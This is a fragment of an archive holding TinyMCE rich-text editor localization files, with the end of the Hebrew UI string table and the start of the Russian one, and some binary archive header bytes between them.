"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u05ea\u05d9\u05d1\u05ea \u05e2\u05e8\u05d9\u05db\u05d4 \u05d7\u05db\u05de\u05d4. \u05dc\u05d7\u05e5 Alt-F9 \u05dc\u05ea\u05e4\u05e8\u05d9\u05d8. Alt-F10 \u05dc\u05ea\u05e6\u05d5\u05d2\u05ea \u05db\u05e4\u05ea\u05d5\u05e8\u05d9\u05dd, Alt-0 \u05dc\u05e2\u05d6\u05e8\u05d4",
"Image title": "\u05db\u05d5\u05ea\u05e8\u05ea \u05ea\u05de\u05d5\u05e0\u05d4",
"Border width": "\u05e8\u05d5\u05d7\u05d1 \u05d2\u05d1\u05d5\u05dc",
"Border style": "\u05e1\u05d2\u05e0\u05d5\u05df \u05d2\u05d1\u05d5\u05dc",
"Error": "\u05e9\u05d2\u05d9\u05d0\u05d4",
"Warn": "\u05d0\u05d6\u05d4\u05e8\u05d4",
"Valid": "\u05d7\u05d5\u05e7\u05d9",
"To open the popup, press Shift+Enter": "\u05db\u05d3\u05d9 \u05dc\u05e4\u05ea\u05d5\u05d7 \u05d0\u05ea \u05d4\u05e4\u05e8\u05d9\u05d8 \u05d4\u05de\u05d5\u05e7\u05e4\u05e5, \u05d4\u05e7\u05e9 \u05e2\u05dc Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "\u05d0\u05d6\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8 \u05e2\u05e9\u05d9\u05e8. \u05d4\u05e7\u05e9 \u05e2\u05dc ALT-0 \u05dc\u05e2\u05d6\u05e8\u05d4.",
"System Font": "\u05d2\u05d5\u05e4\u05df \u05de\u05e2\u05e8\u05db\u05ea",
"Failed to upload image: {0}": "\u05db\u05e9\u05dc \u05d1\u05d4\u05e2\u05dc\u05d0\u05ea \u05ea\u05de\u05d5\u05e0\u05d4: {0}",
"Failed to load plugin: {0} from url {1}": "\u05db\u05e9\u05dc \u05d1\u05d8\u05e2\u05d9\u05e0\u05ea \u05d9\u05d9\u05e9\u05d5\u05dd Plugin: {0} \u05de\u05db\u05ea\u05d5\u05d1\u05ea URL\u200f {1}",
"Failed to load plugin url: {0}": "\u05db\u05e9\u05dc \u05d1\u05d8\u05e2\u05d9\u05e0\u05ea \u05db\u05ea\u05d5\u05d1\u05ea URL \u05e9\u05dc \u05d9\u05d9\u05e9\u05d5\u05dd Plugin\u200f: {0}",
"Failed to initialize plugin: {0}": "\u05db\u05e9\u05dc \u05d1\u05d0\u05ea\u05d7\u05d5\u05dc \u05d9\u05d9\u05e9\u05d5\u05dd Plugin\u200f: {0}",
"example": "\u05d3\u05d5\u05d2\u05de\u05d4",
"Search": "\u05d7\u05e4\u05e9",
"All": "\u05d4\u05db\u05dc",
"Currency": "\u05de\u05d8\u05d1\u05e2",
"Text": "\u05d8\u05e7\u05e1\u05d8",
"Quotations": "\u05e9\u05d0\u05dc\u05d5\u05ea",
"Mathematical": "\u05de\u05ea\u05de\u05d8\u05d9",
"Extended Latin": "\u05dc\u05d8\u05d9\u05e0\u05d9\u05ea \u05de\u05d5\u05e8\u05d7\u05d1\u05ea",
"Symbols": "\u05e1\u05de\u05dc\u05d9\u05dd",
"Arrows": "\u05d7\u05d9\u05e6\u05d9\u05dd",
"User Defined": "\u05de\u05d5\u05d2\u05d3\u05e8 \u05e2\u05dc-\u05d9\u05d3\u05d9 \u05d4\u05de\u05e9\u05ea\u05de\u05e9",
"dollar sign": "\u05e1\u05d9\u05de\u05df \u05d3\u05d5\u05dc\u05e8",
"currency sign": "\u05e1\u05d9\u05de\u05df \u05de\u05d8\u05d1\u05e2",
"euro-currency sign": "\u05e1\u05d9\u05de\u05df \u05de\u05d8\u05d1\u05e2 \u05d0\u05d9\u05e8\u05d5",
"colon sign": "\u05e1\u05d9\u05de\u05df \u05e7\u05d5\u05dc\u05d5\u05df",
"cruzeiro sign": "\u05e1\u05d9\u05de\u05df \u05e7\u05e8\u05d5\u05d6\u05e8\u05d5",
"french franc sign": "\u05e1\u05d9\u05de\u05df \u05e4\u05e8\u05e0\u05e7 \u05e6\u05e8\u05e4\u05ea\u05d9",
"lira sign": "\u05e1\u05d9\u05de\u05df \u05dc\u05d9\u05e8\u05d4",
"mill sign": "\u05e1\u05d9\u05de\u05df \u05de\u05d9\u05dc",
"naira sign": "\u05e1\u05d9\u05de\u05df \u05e0\u05d0\u05d9\u05e8\u05d4",
"peseta sign": "\u05e1\u05d9\u05de\u05df \u05e4\u05d6\u05d8\u05d4",
"rupee sign": "\u05e1\u05d9\u05de\u05df \u05e8\u05d5\u05e4\u05d9",
"won sign": "\u05e1\u05d9\u05de\u05df \u05d5\u05d5\u05df",
"new sheqel sign": "\u05e1\u05d9\u05de\u05df \u05e9\u05e7\u05dc \u05d7\u05d3\u05e9",
"dong sign": "\u05e1\u05d9\u05de\u05df \u05d3\u05d5\u05e0\u05d2",
"kip sign": "\u05e1\u05d9\u05de\u05df \u05e7\u05d9\u05e4",
"tugrik sign": "\u05e1\u05d9\u05de\u05df \u05d8\u05d5\u05d2\u05e8\u05d9\u05e7",
"drachma sign": "\u05e1\u05d9\u05de\u05df \u05d3\u05e8\u05db\u05de\u05d4",
"german penny symbol": "\u05e1\u05de\u05dc \u05e4\u05e0\u05d9 \u05d2\u05e8\u05de\u05e0\u05d9",
"peso sign": "\u05e1\u05d9\u05de\u05df \u05e4\u05d6\u05d5",
"guarani sign": "\u05e1\u05d9\u05de\u05df \u05d2\u05d5\u05d0\u05e8\u05e0\u05d9\u05ea",
"austral sign": "\u05e1\u05d9\u05de\u05df \u05d0\u05d5\u05e1\u05d8\u05e8\u05dc",
"hryvnia sign": "\u05e1\u05d9\u05de\u05df \u05e8\u05d9\u05d1\u05e0\u05d9\u05d4",
"cedi sign": "\u05e1\u05d9\u05de\u05df \u05e1\u05d3\u05d9",
"livre tournois sign": "\u05e1\u05d9\u05de\u05df \u05dc\u05d1\u05e8\u05d4 \u05d8\u05d5\u05e8\u05e0\u05d5",
"spesmilo sign": "\u05e1\u05d9\u05de\u05df \u05e1\u05e4\u05e1\u05de\u05d9\u05dc\u05d5",
"tenge sign": "\u05e1\u05d9\u05de\u05df \u05d8\u05e0\u05d2\u05d4",
"indian rupee sign": "\u05e1\u05d9\u05de\u05df \u05e8\u05d5\u05e4\u05d9 \u05d4\u05d5\u05d3\u05d9",
"turkish lira sign": "\u05e1\u05d9\u05de\u05df \u05dc\u05d9\u05e8\u05d4 \u05d8\u05d5\u05e8\u05e7\u05d9\u05ea",
"nordic mark sign": "\u05e1\u05d9\u05de\u05df \u05de\u05d0\u05e8\u05e7 \u05e1\u05e7\u05e0\u05d3\u05d9\u05e0\u05d1\u05d9",
"manat sign": "\u05e1\u05d9\u05de\u05df \u05de\u05d0\u05e0\u05d0\u05d8",
"ruble sign": "\u05e1\u05d9\u05de\u05df \u05e8\u05d5\u05d1\u05dc",
"yen character": "\u05ea\u05d5 \u05d9\u05df",
"yuan character": "\u05ea\u05d5 \u05d9\u05d5\u05d0\u05df",
"yuan character, in hong kong and taiwan": "\u05ea\u05d5 \u05d9\u05d5\u05d0\u05df, \u05d1\u05d4\u05d5\u05e0\u05d2 \u05e7\u05d5\u05e0\u05d2 \u05d5\u05d1\u05d8\u05d9\u05d9\u05d5\u05d5\u05d0\u05df",
"yen\/yuan character variant one": "\u05de\u05e9\u05ea\u05e0\u05d4 \u05d0\u05d7\u05d3 \u05e9\u05dc \u05ea\u05d5 \u05d9\u05d5\u05d0\u05df\/\u05d9\u05df",
"Loading emoticons...": "\u05d8\u05d5\u05e2\u05df \u05e1\u05de\u05dc\u05d9 \u05d4\u05d1\u05e2\u05d4...",
"Could not load emoticons": "\u05dc\u05d0 \u05e0\u05d9\u05ea\u05df \u05d4\u05d9\u05d4 \u05dc\u05d8\u05e2\u05d5\u05df \u05e1\u05de\u05dc\u05d9 \u05d4\u05d1\u05e2\u05d4",
"People": "\u05d0\u05e0\u05e9\u05d9\u05dd",
"Animals and Nature": "\u05d1\u05e2\u05dc\u05d9-\u05d7\u05d9\u05d9\u05dd \u05d5\u05d8\u05d1\u05e2",
"Food and Drink": "\u05d0\u05d5\u05db\u05dc \u05d5\u05e9\u05ea\u05d9\u05d9\u05d4",
"Activity": "\u05e4\u05e2\u05d9\u05dc\u05d5\u05ea",
"Travel and Places": "\u05e0\u05e1\u05d9\u05e2\u05d4 \u05d5\u05de\u05e7\u05d5\u05de\u05d5\u05ea",
"Objects": "\u05d0\u05d5\u05d1\u05d9\u05d9\u05e7\u05d8\u05d9\u05dd",
"Flags": "\u05d3\u05d2\u05dc\u05d9\u05dd",
"Characters": "\u05ea\u05d5\u05d5\u05d9\u05dd",
"Characters (no spaces)": "\u05ea\u05d5\u05d5\u05d9\u05dd (\u05dc\u05dc\u05d0 \u05e8\u05d5\u05d5\u05d7\u05d9\u05dd)",
"{0} characters": "{0} \u05ea\u05d5\u05d5\u05d9\u05dd",
"Error: Form submit field collision.": "\u05e9\u05d2\u05d9\u05d0\u05d4: \u05d4\u05ea\u05e0\u05d2\u05e9\u05d5\u05ea \u05d1\u05e9\u05d3\u05d4 \u05e9\u05dc\u05d9\u05d7\u05ea \u05d8\u05d5\u05e4\u05e1.",
"Error: No form element found.": "\u05e9\u05d2\u05d9\u05d0\u05d4: \u05dc\u05d0 \u05e0\u05de\u05e6\u05d0 \u05e8\u05db\u05d9\u05d1 \u05d8\u05d5\u05e4\u05e1.",
"Update": "\u05e2\u05d3\u05db\u05df",
"Color swatch": "\u05d3\u05d5\u05d2\u05de\u05d0\u05d5\u05ea \u05e6\u05d1\u05e2",
"Turquoise": "\u05d8\u05d5\u05e8\u05e7\u05d9\u05d6",
"Green": "\u05d9\u05e8\u05d5\u05e7",
"Blue": "\u05db\u05d7\u05d5\u05dc",
"Purple": "\u05e1\u05d2\u05d5\u05dc",
"Navy Blue": "\u05db\u05d7\u05d5\u05dc \u05e6\u05d9",
"Dark Turquoise": "\u05d8\u05d5\u05e8\u05e7\u05d9\u05d6 \u05db\u05d4\u05d4",
"Dark Green": "\u05d9\u05e8\u05d5\u05e7 \u05db\u05d4\u05d4",
"Medium Blue": "\u05db\u05d7\u05d5\u05dc \u05d1\u05d9\u05e0\u05d5\u05e0\u05d9",
"Medium Purple": "\u05e1\u05d2\u05d5\u05dc \u05d1\u05d9\u05e0\u05d5\u05e0\u05d9",
"Midnight Blue": "\u05db\u05d7\u05d5\u05dc \u05d7\u05e6\u05d5\u05ea",
"Yellow": "\u05e6\u05d4\u05d5\u05d1",
"Orange": "\u05db\u05ea\u05d5\u05dd",
"Red": "\u05d0\u05d3\u05d5\u05dd",
"Light Gray": "\u05d0\u05e4\u05d5\u05e8 \u05d1\u05d4\u05d9\u05e8",
"Gray": "\u05d0\u05e4\u05d5\u05e8",
"Dark Yellow": "\u05e6\u05d4\u05d5\u05d1 \u05db\u05d4\u05d4",
"Dark Orange": "\u05db\u05ea\u05d5\u05dd \u05db\u05d4\u05d4",
"Dark Red": "\u05d0\u05d3\u05d5\u05dd \u05db\u05d4\u05d4",
"Medium Gray": "\u05d0\u05e4\u05d5\u05e8 \u05d1\u05d9\u05e0\u05d5\u05e0\u05d9",
"Dark Gray": "\u05d0\u05e4\u05d5\u05e8 \u05db\u05d4\u05d4",
"Light Green": "\u05d9\u05e8\u05d5\u05e7 \u05d1\u05d4\u05d9\u05e8",
"Light Yellow": "\u05e6\u05d4\u05d5\u05d1 \u05d1\u05d4\u05d9\u05e8",
"Light Red": "\u05d0\u05d3\u05d5\u05dd \u05d1\u05d4\u05d9\u05e8",
"Light Purple": "\u05e1\u05d2\u05d5\u05dc \u05d1\u05d4\u05d9\u05e8",
"Light Blue": "\u05db\u05d7\u05d5\u05dc \u05d1\u05d4\u05d9\u05e8",
"Dark Purple": "\u05e1\u05d2\u05d5\u05dc \u05db\u05d4\u05d4",
"Dark Blue": "\u05db\u05d7\u05d5\u05dc \u05db\u05d4\u05d4",
"Black": "\u05e9\u05d7\u05d5\u05e8",
"White": "\u05dc\u05d1\u05df",
"Switch to or from fullscreen mode": "\u05d4\u05d7\u05dc\u05e3 \u05dc\u05de\u05e6\u05d1 \u05de\u05e1\u05da \u05de\u05dc\u05d0 \u05d0\u05d5 \u05e6\u05d0 \u05de\u05de\u05e0\u05d5",
"Open help dialog": "\u05e4\u05ea\u05d7 \u05ea\u05d9\u05d1\u05ea \u05d3\u05d5-\u05e9\u05d9\u05d7 \u05e9\u05dc \u05e2\u05d6\u05e8\u05d4",
"history": "\u05d4\u05d9\u05e1\u05d8\u05d5\u05e8\u05d9\u05d4",
"styles": "\u05e1\u05d2\u05e0\u05d5\u05e0\u05d5\u05ea",
"formatting": "\u05e2\u05d9\u05e6\u05d5\u05d1",
"alignment": "\u05d9\u05d9\u05e9\u05d5\u05e8",
"indentation": "\u05d4\u05d6\u05d7\u05d4",
"permanent pen": "\u05e2\u05d8 \u05e7\u05d1\u05d5\u05e2",
"comments": "\u05d4\u05e2\u05e8\u05d5\u05ea",
"Format Painter": "\u05e6\u05d9\u05d9\u05e8 \u05e2\u05d9\u05e6\u05d5\u05d1",
"Insert\/edit iframe": "\u05d4\u05db\u05e0\u05e1\/\u05e2\u05e8\u05d5\u05da \u05d7\u05dc\u05d5\u05df \u05de\u05e1\u05d2\u05e8\u05ea",
"Capitalization": "\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05e8\u05d9\u05e9\u05d9\u05d5\u05ea",
"lowercase": "\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05e7\u05d8\u05e0\u05d5\u05ea",
"UPPERCASE": "\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05e8\u05d9\u05e9\u05d9\u05d5\u05ea",
"Title Case": "\u05d0\u05d5\u05ea\u05d9\u05d5\u05ea \u05db\u05d5\u05ea\u05e8\u05ea",
"Permanent Pen Properties": "\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05e2\u05d8 \u05e7\u05d1\u05d5\u05e2\u05d9\u05dd",
"Permanent pen properties...": "\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05e2\u05d8 \u05e7\u05d1\u05d5\u05e2\u05d9\u05dd...",
"Font": "\u05d2\u05d5\u05e4\u05df",
"Size": "\u05d2\u05d5\u05d3\u05dc",
"More...": "\u05e2\u05d5\u05d3...",
"Spellcheck Language": "\u05e9\u05e4\u05ea \u05d1\u05d3\u05d9\u05e7\u05ea \u05d0\u05d9\u05d5\u05ea",
"Select...": "\u05d1\u05d7\u05e8...",
"Preferences": "\u05d4\u05e2\u05d3\u05e4\u05d5\u05ea",
"Yes": "\u05db\u05df",
"No": "\u05dc\u05d0",
"Keyboard Navigation": "\u05e0\u05d9\u05d5\u05d5\u05d8 \u05d1\u05de\u05e7\u05dc\u05d3\u05ea",
"Version": "\u05d2\u05e8\u05e1\u05d4",
"Anchor": "\u05de\u05e7\u05d5\u05dd \u05e2\u05d9\u05d2\u05d5\u05df",
"Special character": "\u05ea\u05d5\u05d5\u05d9\u05dd \u05de\u05d9\u05d5\u05d7\u05d3\u05d9\u05dd",
"Code sample": "\u05d3\u05d5\u05d2\u05de\u05ea \u05e7\u05d5\u05d3",
"Color": "\u05e6\u05d1\u05e2",
"Emoticons": "\u05de\u05d7\u05d5\u05d5\u05ea",
"Document properties": "\u05de\u05d0\u05e4\u05d9\u05d9\u05e0\u05d9 \u05de\u05e1\u05de\u05da",
"Image": "\u05ea\u05de\u05d5\u05e0\u05d4",
"Insert link": "\u05d4\u05db\u05e0\u05e1 \u05e7\u05d9\u05e9\u05d5\u05e8",
"Target": "\u05de\u05d8\u05e8\u05d4",
"Link": "\u05e7\u05d9\u05e9\u05d5\u05e8",
"Poster": "\u05e4\u05d5\u05e1\u05d8\u05e8",
"Media": "\u05de\u05d3\u05d9\u05d4",
"Print": "\u05d4\u05d3\u05e4\u05e1",
"Prev": "\u05e7\u05d5\u05d3\u05dd",
"Find and replace": "\u05d7\u05e4\u05e9 \u05d5\u05d4\u05d7\u05dc\u05e3",
"Whole words": "\u05de\u05d9\u05dc\u05d4 \u05e9\u05dc\u05de\u05d4",
"Spellcheck": "\u05d1\u05d5\u05d3\u05e7 \u05d0\u05d9\u05d5\u05ea",
"Caption": "\u05db\u05d9\u05ea\u05d5\u05d1",
"Insert template": "\u05d4\u05db\u05e0\u05e1 \u05ea\u05d1\u05e0\u05d9\u05ea",
"_dir": "rtl"
});PK
h�\
I4�$�$�!program/js/tinymce/langs/ru_RU.jsnu�[���tinymce.addI18n('ru_RU',{
"Redo": "\u041f\u043e\u0432\u0442\u043e\u0440",
"Undo": "\u041e\u0442\u043c\u0435\u043d\u0430",
"Cut": "\u0412\u044b\u0440\u0435\u0437\u0430\u0442\u044c",
"Copy": "\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c",
"Paste": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c",
"Select all": "\u0412\u044b\u0431\u0440\u0430\u0442\u044c \u0432\u0441\u0435",
"New document": "\u041d\u043e\u0432\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Ok": "\u041f\u0440\u0438\u043d\u044f\u0442\u044c",
"Cancel": "\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c",
"Visual aids": "\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438",
"Bold": "\u0416\u0438\u0440\u043d\u044b\u0439",
"Italic": "\u041a\u0443\u0440\u0441\u0438\u0432",
"Underline": "\u041f\u043e\u0434\u0447\u0451\u0440\u043a\u043d\u0443\u0442\u044b\u0439",
"Strikethrough": "\u041f\u0435\u0440\u0435\u0447\u0451\u0440\u043a\u043d\u0443\u0442\u044b\u0439",
"Superscript": "\u0412\u0435\u0440\u0445\u043d\u0438\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440",
"Subscript": "\u041d\u0438\u0436\u043d\u0438\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440",
"Clear formatting": "\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435",
"Align left": "\u0412\u044b\u0440\u043e\u0432\u043d\u044f\u0442\u044c \u043f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Align center": "\u0412\u044b\u0440\u043e\u0432\u043d\u044f\u0442\u044c \u043f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",
"Align right": "\u0412\u044b\u0440\u043e\u0432\u043d\u044f\u0442\u044c \u043f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e",
"Justify": "\u0412\u044b\u0440\u043e\u0432\u043d\u044f\u0442\u044c \u043f\u043e \u0448\u0438\u0440\u0438\u043d\u0435",
"Bullet list": "\u041c\u0430\u0440\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a",
"Numbered list": "\u041d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a",
"Decrease indent": "\u0423\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u043e\u0442\u0441\u0442\u0443\u043f",
"Increase indent": "\u0423\u0432\u0435\u043b\u0438\u0447\u0438\u0442\u044c \u043e\u0442\u0441\u0442\u0443\u043f",
"Close": "\u0417\u0430\u043a\u0440\u044b\u0442\u044c",
"Formats": "\u0424\u043e\u0440\u043c\u0430\u0442",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0412\u0430\u0448 \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u044f\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0443\u0444\u0435\u0440\u0443 \u043e\u0431\u043c\u0435\u043d\u0430. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u044f \u043a\u043b\u0430\u0432\u0438\u0448 Ctrl + X \/ C \/ V.",
"Headers": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438",
"Header 1": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",
"Header 2": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",
"Header 3": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",
"Header 4": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",
"Header 5": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",
"Header 6": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",
"Headings": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438",
"Heading 1": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 1",
"Heading 2": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 2",
"Heading 3": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 3",
"Heading 4": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 4",
"Heading 5": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 5",
"Heading 6": "\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a 6",
"Preformatted": "\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439",
"Div": "<div>\u0411\u043b\u043e\u043a<\/div>",
"Pre": "<pre>\u0411\u043b\u043e\u043a<\/pre>",
"Code": "\u041a\u043e\u0434",
"Paragraph": "\u0410\u0431\u0437\u0430\u0446",
"Blockquote": "\u0426\u0438\u0442\u0430\u0442\u0430",
"Inline": "\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439",
"Blocks": "\u0411\u043b\u043e\u043a\u0438",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u0412\u0441\u0442\u0430\u0432\u043a\u0430 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u043d\u0435\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043f\u043e\u043a\u0430 \u0432\u044b \u043d\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u044d\u0442\u0443 \u043e\u043f\u0446\u0438\u044e.",
"Fonts": "\u0428\u0440\u0438\u0444\u0442\u044b",
"Font Sizes": "\u0420\u0430\u0437\u043c\u0435\u0440\u044b \u0448\u0440\u0438\u0444\u0442\u0430",
"Class": "\u041a\u043b\u0430\u0441\u0441",
"Browse for an image": "\u0412\u044b\u0431\u0440\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435",
"OR": "\u0418\u041b\u0418",
"Drop an image here": "\u041f\u0435\u0440\u0435\u0442\u0430\u0449\u0438\u0442\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441\u044e\u0434\u0430",
"Upload": "\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c",
"Block": "\u0411\u043b\u043e\u043a",
"Align": "\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",
"Default": "\u041f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e",
"Circle": "\u041a\u0440\u0443\u0433",
"Disc": "\u0422\u043e\u0447\u043a\u0430",
"Square": "\u041a\u0432\u0430\u0434\u0440\u0430\u0442",
"Lower Alpha": "\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u041b\u0430\u0442\u0438\u043d\u0441\u043a\u0438\u0439",
"Lower Greek": "\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u0413\u0440\u0435\u0447\u0435\u0441\u043a\u0438\u0439",
"Lower Roman": "\u0421\u0442\u0440\u043e\u0447\u043d\u044b\u0439 \u0420\u0438\u043c\u0441\u043a\u0438\u0439",
"Upper Alpha": "\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u041b\u0430\u0442\u0438\u043d\u0441\u043a\u0438\u0439",
"Upper Roman": "\u0417\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0420\u0438\u043c\u0441\u043a\u0438\u0439",
"Anchor...": "\u042f\u043a\u043e\u0440\u044c",
"Name": "\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435",
"Id": "\u0410\u0442\u0440\u0438\u0431\u0443\u0442 Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "\u0410\u0442\u0440\u0438\u0431\u0443\u0442 Id \u0434\u043e\u043b\u0436\u0435\u043d \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c\u0441\u044f \u0441 \u0431\u0443\u043a\u0432\u044b, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0431\u0443\u043a\u0432\u044b, \u0446\u0438\u0444\u0440\u044b, \u0442\u0438\u0440\u0435, \u0442\u043e\u0447\u043a\u0438, \u0434\u0432\u043e\u0435\u0442\u043e\u0447\u0438\u044f \u0438\u043b\u0438 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u043d\u0438\u044f.",
"You have unsaved changes are you sure you want to navigate away?": "\u0423 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043d\u0435\u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0432\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0445\u043e\u0442\u0438\u0442\u0435 \u0432\u044b\u0439\u0442\u0438?",
"Restore last draft": "\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a",
"Special character...": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b...",
"Source code": "\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434",
"Insert\/Edit code sample": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u044c \/ \u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430",
"Language": "\u042f\u0437\u044b\u043a",
"Code sample...": "\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430",
"Color Picker": "\u041f\u0430\u043b\u0438\u0442\u0440\u0430 \u0446\u0432\u0435\u0442\u043e\u0432",
"R": "\u041a",
"G": "\u0417",
"B": "\u0421",
"Left to right": "\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",
"Right to left": "\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e",
"Emoticons": "\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u043c\u0430\u0439\u043b",
"Emoticons...": "\u0421\u043c\u0430\u0439\u043b\u044b...",
"Metadata and Document Properties": "\u041c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430",
"Title": "\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435",
"Keywords": "\u041a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u0441\u043b\u043e\u0432\u0430",
"Description": "\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u044b",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Encoding": "\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430",
"Fullscreen": "\u0412\u043e \u0432\u0435\u0441\u044c \u044d\u043a\u0440\u0430\u043d",
"Action": "\u0414\u0435\u0439\u0441\u0442\u0432\u0438\u0435",
"Shortcut": "\u042f\u0440\u043b\u044b\u043a",
